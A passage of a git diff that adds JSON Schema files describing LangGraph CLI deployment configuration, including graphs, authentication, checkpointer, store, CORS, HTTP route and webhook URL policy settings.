+              "description": "Optional. Custom authentication config, including the path to your Python auth logic and\nthe OpenAPI security definitions it uses.\n"
+            },
+            "base_image": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Base image to use for the LangGraph API server.\n\nDefaults to langchain/langgraph-api or langchain/langgraphjs-api.\n"
+            },
+            "checkpointer": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/CheckpointerConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in checkpointer, which handles checkpointing of state.\n\nIf omitted, no checkpointer is set up (the object store will still be present, however).\n"
+            },
+            "dependencies": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              },
+              "description": "List of Python dependencies to install, either from PyPI or local paths.\n"
+            },
+            "dockerfile_lines": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              },
+              "description": "Optional. Additional Docker instructions that will be appended to your base Dockerfile.\n\nUseful for installing OS packages, setting environment variables, etc."
+            },
+            "encryption": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/EncryptionConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Custom at-rest encryption config, including the path to your Python encryption logic.\n\nAllows you to implement custom encryption for sensitive data stored in the database.\n"
+            },
+            "env": {
+              "anyOf": [
+                {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "string"
+                }
+              ],
+              "description": "Optional. Environment variables to set for your deployment.\n\n- If given as a dict, keys are variable names and values are their values.\n- If given as a string, it must be a path to a file containing lines in KEY=VALUE format.\n\nenv=\".env\n"
+            },
+            "graphs": {
+              "type": "object",
+              "additionalProperties": {
+                "anyOf": [
+                  {
+                    "type": "string"
+                  },
+                  {
+                    "$ref": "#/$defs/GraphDef"
+                  }
+                ]
+              },
+              "description": "Optional. Named definitions of graphs, each pointing to a Python object.\n\n\nGraphs can be StateGraph, @entrypoint, or any other Pregel object OR they can point to (async) context\nmanagers that accept a single configuration argument (of type RunnableConfig) and return a pregel object\n(instance of Stategraph, etc.).\n\nor objects with a \"path\" key and optional \"description\" key."
+            },
+            "http": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/HttpConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in HTTP server, controlling which custom routes are exposed\nand how cross-origin requests are handled.\n"
+            },
+            "image_distro": {
+              "anyOf": [
+                {
+                  "enum": [
+                    "bookworm",
+                    "debian",
+                    "wolfi"
+                  ]
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Linux distribution for the base image.\n\nMust be one of 'wolfi', 'debian', or 'bookworm'.\nIf omitted, defaults to 'debian' ('latest').\n"
+            },
+            "keep_pkg_tools": {
+              "anyOf": [
+                {
+                  "type": "boolean"
+                },
+                {
+                  "type": "array",
+                  "items": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Control whether to retain Python packaging tools in the final image.\n\nYou can also set to true to include all packaging tools.\n"
+            },
+            "pip_installer": {
+              "anyOf": [
+                {
+                  "type": "string",
+                  "enum": [
+                    "auto",
+                    "pip",
+                    "uv"
+                  ]
+                },
+                {
+                  "type": "null"
+                }
+              ]
+            },
+            "source": {
+              "$ref": "#/$defs/UvSource"
+            },
+            "store": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/StoreConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in long-term memory store, including semantic search indexing.\n\nIf omitted, no vector index is set up (the object store will still be present, however).\n"
+            },
+            "ui": {
+              "anyOf": [
+                {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Named definitions of UI components emitted by the agent, each pointing to a JS/TS file.\n"
+            },
+            "webhooks": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/WebhooksConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Webhooks configuration for outbound event delivery.\n\nForwarded into the container as `LANGGRAPH_WEBHOOKS`. See `WebhooksConfig`\nfor URL policy and header templating details.\n"
+            }
+          },
+          "required": [
+            "graphs",
+            "source"
+          ]
+        },
+        {
+          "type": "object",
+          "properties": {
+            "node_version": {
+              "anyOf": [
+                {
+                  "type": "string",
+                  "enum": [
+                    "20"
+                  ]
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Node.js version as a major version (e.g. '20'), if your deployment needs Node.\nMust be >= 20 if provided.\n"
+            },
+            "_INTERNAL_docker_tag": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Internal use only.\n"
+            },
+            "api_version": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Which semantic version of the LangGraph API server to use.\n\nDefaults to latest. Check the\nfor more information.\n"
+            },
+            "auth": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/AuthConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Custom authentication config, including the path to your Python auth logic and\nthe OpenAPI security definitions it uses.\n"
+            },
+            "base_image": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Base image to use for the LangGraph API server.\n\nDefaults to langchain/langgraph-api or langchain/langgraphjs-api.\n"
+            },
+            "checkpointer": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/CheckpointerConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in checkpointer, which handles checkpointing of state.\n\nIf omitted, no checkpointer is set up (the object store will still be present, however).\n"
+            },
+            "dependencies": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              },
+              "description": "List of Python dependencies to install, either from PyPI or local paths.\n"
+            },
+            "dockerfile_lines": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              },
+              "description": "Optional. Additional Docker instructions that will be appended to your base Dockerfile.\n\nUseful for installing OS packages, setting environment variables, etc."
+            },
+            "encryption": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/EncryptionConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Custom at-rest encryption config, including the path to your Python encryption logic.\n\nAllows you to implement custom encryption for sensitive data stored in the database.\n"
+            },
+            "env": {
+              "anyOf": [
+                {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "string"
+                }
+              ],
+              "description": "Optional. Environment variables to set for your deployment.\n\n- If given as a dict, keys are variable names and values are their values.\n- If given as a string, it must be a path to a file containing lines in KEY=VALUE format.\n\nenv=\".env\n"
+            },
+            "graphs": {
+              "type": "object",
+              "additionalProperties": {
+                "anyOf": [
+                  {
+                    "type": "string"
+                  },
+                  {
+                    "$ref": "#/$defs/GraphDef"
+                  }
+                ]
+              },
+              "description": "Optional. Named definitions of graphs, each pointing to a Python object.\n\n\nGraphs can be StateGraph, @entrypoint, or any other Pregel object OR they can point to (async) context\nmanagers that accept a single configuration argument (of type RunnableConfig) and return a pregel object\n(instance of Stategraph, etc.).\n\nor objects with a \"path\" key and optional \"description\" key."
+            },
+            "http": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/HttpConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in HTTP server, controlling which custom routes are exposed\nand how cross-origin requests are handled.\n"
+            },
+            "image_distro": {
+              "anyOf": [
+                {
+                  "type": "string",
+                  "enum": [
+                    "debian",
+                    "wolfi"
+                  ]
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Linux distribution for the base image.\n\nMust be one of 'wolfi', 'debian', or 'bookworm'.\nIf omitted, defaults to 'debian' ('latest').\n"
+            },
+            "keep_pkg_tools": {
+              "anyOf": [
+                {
+                  "type": "boolean"
+                },
+                {
+                  "type": "array",
+                  "items": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Control whether to retain Python packaging tools in the final image.\n\nYou can also set to true to include all packaging tools.\n"
+            },
+            "pip_installer": {
+              "anyOf": [
+                {
+                  "type": "string",
+                  "enum": [
+                    "auto",
+                    "pip",
+                    "uv"
+                  ]
+                },
+                {
+                  "type": "null"
+                }
+              ]
+            },
+            "source": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/UvSource"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Explicit deployment source configuration.\n\n`root/pyproject.toml` and `root/uv.lock`. If `root` is a workspace and the\ntarget is ambiguous, set `package` to the desired workspace member.\n"
+            },
+            "store": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/StoreConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in long-term memory store, including semantic search indexing.\n\nIf omitted, no vector index is set up (the object store will still be present, however).\n"
+            },
+            "ui": {
+              "anyOf": [
+                {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Named definitions of UI components emitted by the agent, each pointing to a JS/TS file.\n"
+            },
+            "webhooks": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/WebhooksConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Webhooks configuration for outbound event delivery.\n\nForwarded into the container as `LANGGRAPH_WEBHOOKS`. See `WebhooksConfig`\nfor URL policy and header templating details.\n"
+            }
+          },
+          "required": [
+            "node_version",
+            "graphs"
+          ]
+        }
+      ]
+    },
+    "AuthConfig": {
+      "title": "AuthConfig",
+      "description": "Configuration for custom authentication logic and how it integrates into the OpenAPI spec.",
+      "type": "object",
+      "properties": {
+        "cache": {
+          "$ref": "#/$defs/CacheConfig",
+          "description": "Optional. Cache configuration for the server.\n"
+        },
+        "disable_studio_auth": {
+          "type": "boolean",
+          "description": "Optional. Whether to disable LangSmith API-key authentication for requests originating the Studio.\n\nDefaults to False, meaning that if a particular header is set, the server will verify the `x-api-key` header\nvalue is a valid API key for the deployment's workspace. If `True`, all requests will go through your custom\nauthentication logic, regardless of origin of the request.\n"
+        },
+        "openapi": {
+          "$ref": "#/$defs/SecurityConfig",
+          "description": "The security configuration to include in your server's OpenAPI spec.\n\n{\n}\n}\n}\n},\n]\n}\n"
+        },
+        "path": {
+          "type": "string",
+          "description": "Required. Path to an instance of the Auth() class that implements custom authentication.\n"
+        }
+      },
+      "required": []
+    },
+    "CacheConfig": {
+      "title": "CacheConfig",
+      "type": "object",
+      "properties": {
+        "cache_keys": {
+          "type": "array",
+          "items": {
+            "type": "string"
+          },
+          "description": "Optional. List of header keys to use for caching.\n"
+        },
+        "max_size": {
+          "type": "integer",
+          "description": "Optional. Maximum size of the cache.\n"
+        },
+        "ttl_seconds": {
+          "type": "integer",
+          "description": "Optional. Time-to-live in seconds for cached items.\n"
+        }
+      },
+      "required": [],
+      "description": "dict() -> new empty dictionary\ndict(mapping) -> new dictionary initialized from a mapping object's\n    (key, value) pairs\ndict(iterable) -> new dictionary initialized as if via:\n    d = {}\n    for k, v in iterable:\n        d[k] = v\ndict(**kwargs) -> new dictionary initialized with the name=value pairs\n    in the keyword argument list.  For example:  dict(one=1, two=2)"
+    },
+    "SecurityConfig": {
+      "title": "SecurityConfig",
+      "description": "Configuration for OpenAPI security definitions and requirements.\n\nUseful for specifying global or path-level authentication and authorization flows\n(e.g., OAuth2, API key headers, etc.).",
+      "type": "object",
+      "properties": {
+        "paths": {
+          "type": "object",
+          "additionalProperties": {
+            "type": "object",
+            "additionalProperties": {
+              "type": "array",
+              "items": {
+                "type": "object",
+                "additionalProperties": {
+                  "type": "array",
+                  "items": {
+                    "type": "string"
+                  }
+                }
+              }
+            }
+          },
+          "description": "Path-specific security overrides.\n\n- Keys that are HTTP methods (e.g., \"GET\", \"POST\"),\n- Values are lists of security definitions (just like `security`) for that method.\n"
+        },
+        "security": {
+          "type": "array",
+          "items": {
+            "type": "object",
+            "additionalProperties": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              }
+            }
+          },
+          "description": "Global security requirements across all endpoints.\n\nEach element in the list maps a security scheme (e.g. \"OAuth2\") to a list of scopes (e.g. [\"read\", \"write\"])."
+        },
+        "securitySchemes": {
+          "type": "object",
+          "additionalProperties": {
+            "type": "object"
+          },
+          "description": "Describe each security scheme recognized by your OpenAPI spec.\n\nKeys are scheme names (e.g. \"OAuth2\", \"ApiKeyAuth\") and values are their definitions."
+        }
+      },
+      "required": []
+    },
+    "CheckpointerConfig": {
+      "title": "CheckpointerConfig",
+      "description": "Configuration for the built-in checkpointer, which handles checkpointing of state.\n\nIf omitted, no checkpointer is set up (the object store will still be present, however).",
+      "type": "object",
+      "properties": {
+        "path": {
+          "type": "string",
+          "description": "Import path to an async context manager that yields a `BaseCheckpointSaver`\ninstance.\n\nThe referenced object should be an `@asynccontextmanager`-decorated function\nso that the server can properly manage the checkpointer's lifecycle (e.g.\nopening and closing connections).\n"
+        },
+        "serde": {
+          "anyOf": [
+            {
+              "$ref": "#/$defs/SerdeConfig"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines the serde configuration.\n\nIf provided, the checkpointer will apply serde settings according to the configuration.\nIf omitted, no serde behavior is configured.\n\nThis configuration requires server version 0.5 or later to take effect.\n"
+        },
+        "ttl": {
+          "anyOf": [
+            {
+              "$ref": "#/$defs/ThreadTTLConfig"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines the TTL (time-to-live) behavior configuration.\n\nIf provided, the checkpointer will apply TTL settings according to the configuration.\nIf omitted, no TTL behavior is configured.\n"
+        }
+      },
+      "required": []
+    },
+    "SerdeConfig": {
+      "title": "SerdeConfig",
+      "description": "Configuration for the built-in serde, which handles checkpointing of state.\n\nIf omitted, no serde is set up (the object store will still be present, however).",
+      "type": "object",
+      "properties": {
+        "allowed_json_modules": {
+          "anyOf": [
+            {
+              "type": "array",
+              "items": {
+                "type": "array",
+                "items": {
+                  "type": "string"
+                }
+              }
+            },
+            {
+              "type": "boolean"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. List of allowed python modules to de-serialize custom objects from JSON.\n\nIf provided, only the specified modules will be allowed to be deserialized.\nIf omitted, no modules are allowed, and the object returned will simply be a json object OR\na deserialized langchain object.\n"
+        },
+        "allowed_msgpack_modules": {
+          "anyOf": [
+            {
+              "type": "array",
+              "items": {
+                "type": "array",
+                "items": {
+                  "type": "string"
+                }
+              }
+            },
+            {
+              "type": "boolean"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. List of allowed python modules to de-serialize custom objects from msgpack.\n\nKnown safe types (langgraph.checkpoint.serde.jsonplus.SAFE_MSGPACK_TYPES) are always\nallowed regardless of this setting. Use this to allowlist your custom Pydantic models,\ndataclasses, and other user-defined types.\n\nIf True (default), unregistered types will log a warning but still be deserialized.\nIf None, only known safe types will be deserialized; unregistered types will be blocked.\n\n{...\n[\"my_agent.models\", \"MyState\"],\n]\n}\n}\n\n{...\n}\n}\n\n"
+        },
+        "pickle_fallback": {
+          "type": "boolean",
+          "description": "Optional. Whether to allow pickling as a fallback for deserialization.\n\nIf True, pickling will be allowed as a fallback for deserialization.\nIf False, pickling will not be allowed as a fallback for deserialization.\nDefaults to True if not configured."
+        }
+      },
+      "required": []
+    },
+    "ThreadTTLConfig": {
+      "title": "ThreadTTLConfig",
+      "description": "Configure a default TTL for checkpointed data within threads.",
+      "type": "object",
+      "properties": {
+        "default_ttl": {
+          "anyOf": [
+            {
+              "type": "number"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Default TTL (time-to-live) in minutes for checkpointed data."
+        },
+        "strategy": {
+          "enum": [
+            "delete",
+            "keep_latest"
+          ],
+          "description": "Action taken when a thread exceeds its TTL.\n\n"
+        },
+        "sweep_interval_minutes": {
+          "anyOf": [
+            {
+              "type": "integer"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Interval in minutes between sweep iterations.\nIf omitted, a default interval will be used (typically ~ 5 minutes)."
+        },
+        "sweep_limit": {
+          "anyOf": [
+            {
+              "type": "integer"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Maximum number of threads to process per sweep iteration. Defaults to 1000."
+        }
+      },
+      "required": []
+    },
+    "EncryptionConfig": {
+      "title": "EncryptionConfig",
+      "description": "Configuration for custom at-rest encryption logic.\n\nAllows you to implement custom encryption for sensitive data stored in the database,\nincluding metadata fields and checkpoint blobs.",
+      "type": "object",
+      "properties": {
+        "path": {
+          "type": "string"
+        }
+      },
+      "required": []
+    },
+    "GraphDef": {
+      "title": "GraphDef",
+      "description": "Definition of a graph with additional metadata.",
+      "type": "object",
+      "properties": {
+        "description": {
+          "anyOf": [
+            {
+              "type": "string"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. A description of the graph's purpose and functionality.\n\nThis description is surfaced in the API and can help users understand what the graph does.\n"
+        },
+        "path": {
+          "type": "string",
+          "description": "Required. Import path to the graph object.\n"
+        }
+      },
+      "required": []
+    },
+    "HttpConfig": {
+      "title": "HttpConfig",
+      "description": "Configuration for the built-in HTTP server that powers your deployment's routes and endpoints.",
+      "type": "object",
+      "properties": {
+        "app": {
+          "type": "string",
+          "description": "Optional. Import path to a custom Starlette/FastAPI application to mount.\n"
+        },
+        "configurable_headers": {
+          "anyOf": [
+            {
+              "$ref": "#/$defs/ConfigurableHeaderConfig"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines how headers are treated for a run's configuration.\n\nYou can include or exclude headers as configurable values to condition your\nagent's behavior or permissions on a request's headers."
+        },
+        "cors": {
+          "anyOf": [
+            {
+              "$ref": "#/$defs/CorsConfig"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines CORS restrictions. If omitted, no special rules are set and\ncross-origin behavior depends on default server settings.\n"
+        },
+        "disable_a2a": {
+          "type": "boolean",
+          "description": "Optional. If `True`, /a2a routes are removed, disabling default support to expose the deployment as an agent-to-agent (A2A) server.\n\nDefault is False.\n"
+        },
+        "disable_assistants": {
+          "type": "boolean",
+          "description": "Optional. If `True`, /assistants routes are removed from the server.\n\nDefault is False (meaning /assistants is enabled).\n"
+        },
+        "disable_mcp": {
+          "type": "boolean",
+          "description": "Optional. If `True`, /mcp routes are removed, disabling default support to expose the deployment as an MCP server.\n\nDefault is False.\n"
+        },
+        "disable_meta": {
+          "type": "boolean",
+          "description": "Optional. Remove meta endpoints.\n\n\nDefault is False.\n"
+        },
+        "disable_runs": {
+          "type": "boolean",
+          "description": "Optional. If `True`, /runs routes are removed.\n\nDefault is False.\n"
+        },
+        "disable_store": {
+          "type": "boolean",
+          "description": "Optional. If `True`, /store routes are removed, disabling direct store interactions via HTTP.\n\nDefault is False.\n"
+        },
+        "disable_threads": {
+          "type": "boolean",
+          "description": "Optional. If `True`, /threads routes are removed.\n\nDefault is False.\n"
+        },
+        "disable_ui": {
+          "type": "boolean",
+          "description": "Optional. If `True`, /ui routes are removed, disabling the UI server.\n\nDefault is False.\n"
+        },
+        "disable_webhooks": {
+          "type": "boolean",
+          "description": "Optional. If `True`, webhooks are disabled. Runs created with an associated webhook will\nstill be executed, but the webhook event will not be sent.\n\nDefault is False.\n"
+        },
+        "enable_custom_route_auth": {
+          "type": "boolean",
+          "description": "Optional. If `True`, authentication is enabled for custom routes,\nnot just the routes that are protected by default.\n(Routes protected by default include /assistants, /threads, and /runs).\n\nDefault is False. This flag only affects authentication behavior\nif `app` is provided and contains custom routes.\n"
+        },
+        "logging_headers": {
+          "anyOf": [
+            {
+              "$ref": "#/$defs/ConfigurableHeaderConfig"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines which headers are excluded from logging."
+        },
+        "middleware_order": {
+          "anyOf": [
+            {
+              "enum": [
+                "auth_first",
+                "middleware_first"
+              ]
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines the order in which to apply server customizations.\n"
+        },
+        "mount_prefix": {
+          "type": "string",
+          "description": "Optional. URL prefix to prepend to all the routes.\n"
+        }
+      },
+      "required": []
+    },
+    "ConfigurableHeaderConfig": {
+      "title": "ConfigurableHeaderConfig",
+      "description": "Customize which headers to include as configurable values in your runs.\n\nBy default, omits x-api-key, x-tenant-id, and x-service-key.\n\nExclusions (if provided) take precedence.\n\nEach value can be a raw string with an optional wildcard.",
+      "type": "object",
+      "properties": {
+        "excludes": {
+          "anyOf": [
+            {
+              "type": "array",
+              "items": {
+                "type": "string"
+              }
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Headers to exclude. Applied before the 'includes' checks.\n"
+        },
+        "includes": {
+          "anyOf": [
+            {
+              "type": "array",
+              "items": {
+                "type": "string"
+              }
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Headers to include (if not also matched against an 'excludes' pattern).\n"
+        }
+      },
+      "required": []
+    },
+    "CorsConfig": {
+      "title": "CorsConfig",
+      "description": "Specifies Cross-Origin Resource Sharing (CORS) rules for your server.\n\nIf omitted, defaults are typically very restrictive (often no cross-origin requests).\nConfigure carefully if you want to allow usage from browsers hosted on other domains.",
+      "type": "object",
+      "properties": {
+        "allow_credentials": {
+          "type": "boolean",
+          "description": "Optional. If `True`, cross-origin requests can include credentials (cookies, auth headers).\n\nDefault False to avoid accidentally exposing secured endpoints to untrusted sites.\n"
+        },
+        "allow_headers": {
+          "type": "array",
+          "items": {
+            "type": "string"
+          },
+          "description": "Optional. HTTP headers that can be used in cross-origin requests (e.g. [\"Content-Type\", \"Authorization\"])."
+        },
+        "allow_methods": {
+          "type": "array",
+          "items": {
+            "type": "string"
+          },
+          "description": "Optional. HTTP methods permitted for cross-origin requests (e.g. [\"GET\", \"POST\"]).\n\nDefault might be [\"GET\", \"POST\", \"OPTIONS\"] depending on your server framework.\n"
+        },
+        "allow_origin_regex": {
+          "type": "string",
+          "description": "Optional. A regex pattern for matching allowed origins, used if you have dynamic subdomains.\n"
+        },
+        "allow_origins": {
+          "type": "array",
+          "items": {
+            "type": "string"
+          },
+          "description": "Optional. List of allowed origins (e.g., \"https://example.com\").\n\nDefault is often an empty list (no external origins).\nUse \"*\" only if you trust all origins, as that bypasses most restrictions.\n"
+        },
+        "expose_headers": {
+          "type": "array",
+          "items": {
+            "type": "string"
+          },
+          "description": "Optional. List of headers that browsers are allowed to read from the response in cross-origin contexts."
+        },
+        "max_age": {
+          "type": "integer",
+          "description": "Optional. How many seconds the browser may cache preflight responses.\n\nDefault might be 600 (10 minutes). Larger values reduce preflight requests but can cause stale configurations.\n"
+        }
+      },
+      "required": []
+    },
+    "UvSource": {
+      "title": "UvSource",
+      "description": "Deployment source rooted at a uv project or workspace.",
+      "type": "object",
+      "properties": {
+        "kind": {
+          "enum": [
+            "uv"
+          ]
+        },
+        "package": {
+          "type": "string"
+        },
+        "root": {
+          "type": "string"
+        }
+      },
+      "required": [
+        "kind"
+      ]
+    },
+    "StoreConfig": {
+      "title": "StoreConfig",
+      "description": "Configuration for the built-in long-term memory store.\n\nThis store can optionally perform semantic search. If you omit `index`,\nthe store will just handle traditional (non-embedded) data without vector lookups.",
+      "type": "object",
+      "properties": {
+        "index": {
+          "anyOf": [
+            {
+              "$ref": "#/$defs/IndexConfig"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines the vector-based semantic search configuration.\n\n- Generate embeddings according to `index.embed`\n- Enforce the embedding dimension given by `index.dims`\n- Embed only specified JSON fields (if any) from `index.fields`\n\nIf omitted, no vector index is initialized.\n"
+        },
+        "ttl": {
+          "anyOf": [
+            {
+              "$ref": "#/$defs/TTLConfig"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines the TTL (time-to-live) behavior configuration.\n\nIf provided, the store will apply TTL settings according to the configuration.\nIf omitted, no TTL behavior is configured.\n"
+        }
+      },
+      "required": []
+    },
+    "IndexConfig": {
+      "title": "IndexConfig",
+      "description": "Configuration for indexing documents for semantic search in the store.\n\nThis governs how text is converted into embeddings and stored for vector-based lookups.",
+      "type": "object",
+      "properties": {
+        "dims": {
+          "type": "integer",
+          "description": "Required. Dimensionality of the embedding vectors you will store.\n\nMust match the output dimension of your selected embedding model or custom embed function.\nIf mismatched, you will likely encounter shape/size errors when inserting or querying vectors.\n\n"
+        },
+        "embed": {
+          "type": "string",
+          "description": "Required. Identifier or reference to the embedding model or a custom embedding function.\n\n- \"my_custom_embed\" if it's a known alias in your system\n"
+        },
+        "fields": {
+          "anyOf": [
+            {
+              "type": "array",
+              "items": {
+                "type": "string"
+              }
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. List of JSON fields to extract before generating embeddings.\n\nDefaults to [\"$\"], which means the entire JSON object is embedded as one piece of text.\nIf you provide multiple fields (e.g. [\"title\", \"content\"]), each is extracted and embedded separately,\noften saving token usage if you only care about certain parts of the data.\n"
+        }
+      },
+      "required": []
+    },
+    "TTLConfig": {
+      "title": "TTLConfig",
+      "description": "Configuration for TTL (time-to-live) behavior in the store.",
+      "type": "object",
+      "properties": {
+        "default_ttl": {
+          "anyOf": [
+            {
+              "type": "number"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Default TTL (time-to-live) in minutes for new items.\n\nIf provided, all new items will have this TTL unless explicitly overridden.\nIf omitted, items will have no TTL by default.\n"
+        },
+        "refresh_on_read": {
+          "type": "boolean",
+          "description": "Default behavior for refreshing TTLs on read operations (`GET` and `SEARCH`).\n\nIf `True`, TTLs will be refreshed on read operations (get/search) by default.\nThis can be overridden per-operation by explicitly setting `refresh_ttl`.\nDefaults to `True` if not configured.\n"
+        },
+        "sweep_interval_minutes": {
+          "anyOf": [
+            {
+              "type": "integer"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Interval in minutes between TTL sweep iterations.\n\nIf provided, the store will periodically delete expired items based on the TTL.\nIf omitted, no automatic sweeping will occur.\n"
+        }
+      },
+      "required": []
+    },
+    "WebhooksConfig": {
+      "title": "WebhooksConfig",
+      "type": "object",
+      "properties": {
+        "env_prefix": {
+          "type": "string",
+          "description": "Required prefix for environment variables referenced in header templates.\n\nActs as an allowlist boundary to prevent leaking arbitrary environment\nvariables. Defaults to \"LG_WEBHOOK_\" when omitted.\n"
+        },
+        "headers": {
+          "type": "object",
+          "additionalProperties": {
+            "type": "string"
+          },
+          "description": "Static headers to include with webhook requests.\n\nValues may contain templates of the form \"${{ env.VAR }}\". On startup, these\nare resolved via the process environment after verifying `VAR` starts with\n`env_prefix`. Mixed literals and multiple templates are allowed.\n"
+        },
+        "url": {
+          "$ref": "#/$defs/WebhookUrlPolicy",
+          "description": "URL validation policy for user-supplied webhook endpoints."
+        }
+      },
+      "required": [],
+      "description": "dict() -> new empty dictionary\ndict(mapping) -> new dictionary initialized from a mapping object's\n    (key, value) pairs\ndict(iterable) -> new dictionary initialized as if via:\n    d = {}\n    for k, v in iterable:\n        d[k] = v\ndict(**kwargs) -> new dictionary initialized with the name=value pairs\n    in the keyword argument list.  For example:  dict(one=1, two=2)"
+    },
+    "WebhookUrlPolicy": {
+      "title": "WebhookUrlPolicy",
+      "type": "object",
+      "properties": {
+        "allowed_domains": {
+          "type": "array",
+          "items": {
+            "type": "string"
+          },
+          "description": "Hostname allowlist. Supports exact hosts and wildcard subdomains.\n\nUse entries like \"hooks.example.com\" or \"*.mycorp.com\". The wildcard only\nmatches subdomains (\"foo.mycorp.com\"), not the apex (\"mycorp.com\"). When\nempty or omitted, any public host is allowed (subject to SSRF IP checks).\n"
+        },
+        "allowed_ports": {
+          "type": "array",
+          "items": {
+            "type": "integer"
+          },
+          "description": "Explicit port allowlist for absolute URLs.\n\nIf set, requests must use one of these ports. Defaults are respected when\na port is not present in the URL (443 for https, 80 for http).\n"
+        },
+        "disable_loopback": {
+          "type": "boolean",
+          "description": "Disallow relative URLs (internal loopback calls) when true."
+        },
+        "max_url_length": {
+          "type": "integer",
+          "description": "Maximum permitted URL length in characters; longer inputs are rejected early."
+        },
+        "require_https": {
+          "type": "boolean",
+          "description": "Enforce HTTPS scheme for absolute URLs; reject `http://` when true."
+        }
+      },
+      "required": [],
+      "description": "dict() -> new empty dictionary\ndict(mapping) -> new dictionary initialized from a mapping object's\n    (key, value) pairs\ndict(iterable) -> new dictionary initialized as if via:\n    d = {}\n    for k, v in iterable:\n        d[k] = v\ndict(**kwargs) -> new dictionary initialized with the name=value pairs\n    in the keyword argument list.  For example:  dict(one=1, two=2)"
+    }
+  },
+  "title": "LangGraph CLI Configuration",
+  "description": "Configuration schema for langgraph-cli",
+  "version": "v0"
+}
\ No newline at end of file
diff --git a/libs/cli/schemas/schema.v0.json b/libs/cli/schemas/schema.v0.json
new file mode 100644
index 0000000..6eec620
--- /dev/null
+++ b/libs/cli/schemas/schema.v0.json
@@ -0,0 +1,1349 @@
+{
+  "$ref": "#/$defs/Config",
+  "$defs": {
+    "Config": {
+      "title": "Config",
+      "description": "Top-level config for langgraph-cli or similar deployment tooling.",
+      "type": "object",
+      "required": [],
+      "oneOf": [
+        {
+          "type": "object",
+          "properties": {
+            "python_version": {
+              "type": "string",
+              "description": "Optional. Python version in 'major.minor' format (e.g. '3.11').\nMust be at least 3.11 or greater for this deployment to function properly.\n",
+              "enum": [
+                "3.11",
+                "3.12",
+                "3.13"
+              ]
+            },
+            "pip_config_file": {
+              "anyOf": [
